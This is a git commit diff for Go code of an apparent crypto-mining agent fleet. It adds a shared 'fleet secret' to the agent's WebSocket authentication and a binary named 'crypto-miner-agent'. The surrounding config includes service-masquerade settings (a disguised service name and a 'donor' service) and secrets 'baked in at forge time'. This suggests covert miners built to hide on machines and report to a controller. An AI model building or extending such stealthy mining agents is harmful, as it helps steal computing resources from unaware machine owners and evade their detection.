feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints
This commit is contained in:
@@ -178,6 +178,7 @@ func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
FleetSecret: c.cfg.FleetSecret,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Version: config.Version,
|
||||
Hostname: host,
|
||||
|
||||
@@ -9,6 +9,7 @@ type Message struct {
|
||||
|
||||
type AuthPayload struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
|
||||
@@ -61,6 +61,9 @@ type BuiltinConfig struct {
|
||||
ServiceMasquerade bool
|
||||
ServiceName string
|
||||
ServiceDonor string
|
||||
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||
// The server rejects any agent that doesn't carry the right secret.
|
||||
FleetSecret string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
|
||||
BIN
agent/crypto-miner-agent
Normal file
BIN
agent/crypto-miner-agent
Normal file
Binary file not shown.
Reference in New Issue
Block a user